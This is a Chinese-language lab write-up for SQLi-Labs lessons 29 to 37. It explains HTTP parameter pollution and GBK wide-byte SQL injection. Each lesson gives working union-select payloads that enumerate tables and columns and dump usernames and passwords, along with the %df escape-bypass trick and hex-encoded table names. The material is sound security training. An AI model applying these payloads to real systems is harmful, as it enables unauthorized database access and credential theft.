《SQLi-Labs》05. Less 29~37


title: 《SQLi-Labs》05. Less 29~37

date: 2024-01-17 22:49:10

updated: 2024-02-12 18:09:10

categories: WriteUp:Security-Lab

excerpt: HTTP 参数污染,联合注入、宽字节注入。

comments: false

tags:

top_image: /images/backimg/SunsetClimbing.png


SQLi-Labs


靶场部署在 VMware - Win7。
靶场地址:https://github.com/Audi-1/sqli-labs

索引

  • Less-29:HTTP 参数污染。联合注入,字符型【'】。
  • Less-30:与 Less-29 相似。字符型【"】。
  • Less-31:与 Less-29 相似。字符型【")】。
  • Less-32:宽字节注入。联合注入,字符型【'】。
  • Less-33:与 Less-32 一样。
  • Less-34:原理与 Less-32 一样。post 形式,字符型【'】。
  • Less-35:原理与 Less-32 一样。数字型。
  • Less-36:与 Less-32 一样。
  • Less-37:与 Less-34 一样。

Less-29

题解

说有最好的防火墙。源码是判断传递的数据是否是数字。

这一题主要考察的是多个相同参数的解析问题。

例如 index.php?id=1&id=2,到底是解析 id=1 的数据还是解析 id=2 的?

这一关原本的思路是:

Less-29 就是会对输入的参数进行校验是否为数字,但是只提取第一个 id 值进行校验。

如果传递两个 id 参数,第一个 id 参数正常数字,第二个 id 参数进行 sql 注入即可。

其实第29关是用 jsp 搭建的服务器,所以建议在电脑中安装 Jspstudy 来安装 Jsp 的环境。

构造两个 id 参数,index.php?id=1&id=2,Apache PHP 会解析最后一个参数,Tomcat JSP 会解析第一个参数

明白了原理,直接上 payload。

爆表

?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据

?id=1&id=-1' union select 1,group_concat(password,username),3 from users--+

总结

多个相同参数解析漏洞(HPP,HTTP 参数污染)。

《HTTP 参数污染(HPP)》
https://zhuanlan.zhihu.com/p/635422411

Less-30

题解

原理与 Less-29 一样。字符型【"】

?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据

?id=1&id=-1" union select 1,group_concat(password,username),3 from users--+

Less-31

题解

原理与 Less-29 一样。字符型【")】

?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据

?id=1&id=-1") union select 1,group_concat(password,username),3 from users--+

Less-32

题解

这题考察宽字节注入。

遇事不决看源码。

Less-32 使用 preg_replace() 函数将反斜杠【\】,单引号【'】、双引号【"】过滤了。如果输入 id=1" 会转义成 id=1\",使引号当作数据处理。

但是数据库使用了 gbk 编码。所以可以采用宽字节注入。同时可以对数据库表名进行 16 进制 ASCII 编码。

当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

先上 payload。

爆库名

?id=-1%df' union select 1,database(),3 --+

MySQL 在使用 GBK 编码的时候,mysql 数据库会将 ASCII 大于等于128(%df)的字符当作是汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如 %aa%5c 就是一个 汉字。
因为 urlencode(\') = %5c%27,如果在 %5c%27 前面添加 %df,形成 %df%5c%27,MySQL 就把 %df%5c 当做是一个汉字解析,%27(单引号【'】)则作为一个单独的符号。

爆表

?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

对于宽字节注入,另一个影响在于爆字段时表名需要加引号,引号会被转义;但如果利用宽字节转义,会影响 payload 中的表名。
MySQL 支持十六进制表示法,可以使用 0x 前缀来表示十六进制数值。

例如:
where table_name='users' 等同于:
where table_name=0x7573657273

爆敏感数据

?id=-1%df' union select 1,group_concat(password,username),3 from users--+

总结

宽字节注入。

  • 常见的宽字节编码:
    • GB2312
    • GBK
    • GB18030
    • BIG5
  • MySQL 在使用 GBK 编码的时候,数据库会将 ASCII 大于等于 128(%df)的字符当作是汉字字符的一部分,即当作汉字处理,会认为两个字节为一个汉字,例如 %aa%5c 就是一个汉字。
  • 这种情况下如果想去掉 sql 语句中的一个字节,那么在想去的字节前加上一个 ASCII 大于等于 128(%df)的字节即可。加上的字节和想去掉的那个字节会被合起来解析为汉字(无论有没有对应的汉字)。
  • 例如 urlencode(\') = %5c%27,如果在 %5c%27 前面添加 %df,形成 %df%5c%27,MySQL 就把 %df%5c 当做是一个汉字解析,%27(单引号【'】)则作为一个单独的符号。

MySQL 特性:支持十六进制表示法。

  • MySQL 支持十六进制表示法,可以使用 0x 前缀来表示十六进制数值。
  • 例如:
  • WHERE table_name='users' 等同于 WHERE table_name=0x7573657273
  • WHERE column_name='Bob' 等同于 WHERE column_name=0x426f62

Less-33

题解

Less-33 使用 addslashes() 函数,作用是返回在预定义字符之前添加反斜杠的字符串。

payload 和 Less-32 一样。

Less-34

题解

原理与 Less-32 一样。只不过是 post 形式的宽字节注入。

payload:

爆表

-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段

-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273-- a

爆敏感数据

1%df' union select 1,group_concat(password,1,username) from users -- a

Less-35

题解

原理与 Less-32 一样,宽字节注入。不过是数字型。

爆表

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

爆敏感数据

?id=-1 union select 1,group_concat(password,username),3 from users--+

Less-36

题解

payload 同 Less-32。

原理与 Less-32 一样,宽字节注入。只不过使用 mysql_real_escape_string 函数对特殊字符进行转义,作用与 Less-33 的 addslashes() 函数一样。

Less-37

题解

payload 与 Less-34 一样。原理同 Less-32,post 形式的宽字节注入。


松树千年终是朽,槿花一日自为荣。

------《放言五首 · 其五》(唐)白居易

相关推荐
安冬的码畜日常1 分钟前
【CSS in Depth 2 精译_032】5.4 Grid 网格布局的显示网格与隐式网格(上)
前端·css·css3·html5·网格布局·grid布局·css网格布局
洛千陨2 分钟前
element-plus弹窗内分页表格保留勾选项
前端·javascript·vue.js
小小19923 分钟前
elementui 单元格添加样式的两种方法
前端·javascript·elementui
前端没钱23 分钟前
若依Nodejs后台、实现90%以上接口,附体验地址、源码、拓展特色功能
前端·javascript·vue.js·node.js
爱喝水的小鼠29 分钟前
AJAX(一)HTTP协议(请求响应报文),AJAX发送请求,请求问题处理
前端·http·ajax
dgiij30 分钟前
AutoX.js向后端传输二进制数据
android·javascript·websocket·node.js·自动化
叫我:松哥1 小时前
基于机器学习的癌症数据分析与预测系统实现,有三种算法,bootstrap前端+flask
前端·python·随机森林·机器学习·数据分析·flask·bootstrap
让开,我要吃人了1 小时前
HarmonyOS鸿蒙开发实战(5.0)网格元素拖动交换案例实践
前端·华为·程序员·移动开发·harmonyos·鸿蒙·鸿蒙开发
谢尔登1 小时前
Webpack 和 Vite 的区别
前端·webpack·node.js
谢尔登1 小时前
【Webpack】Tree Shaking
前端·webpack·node.js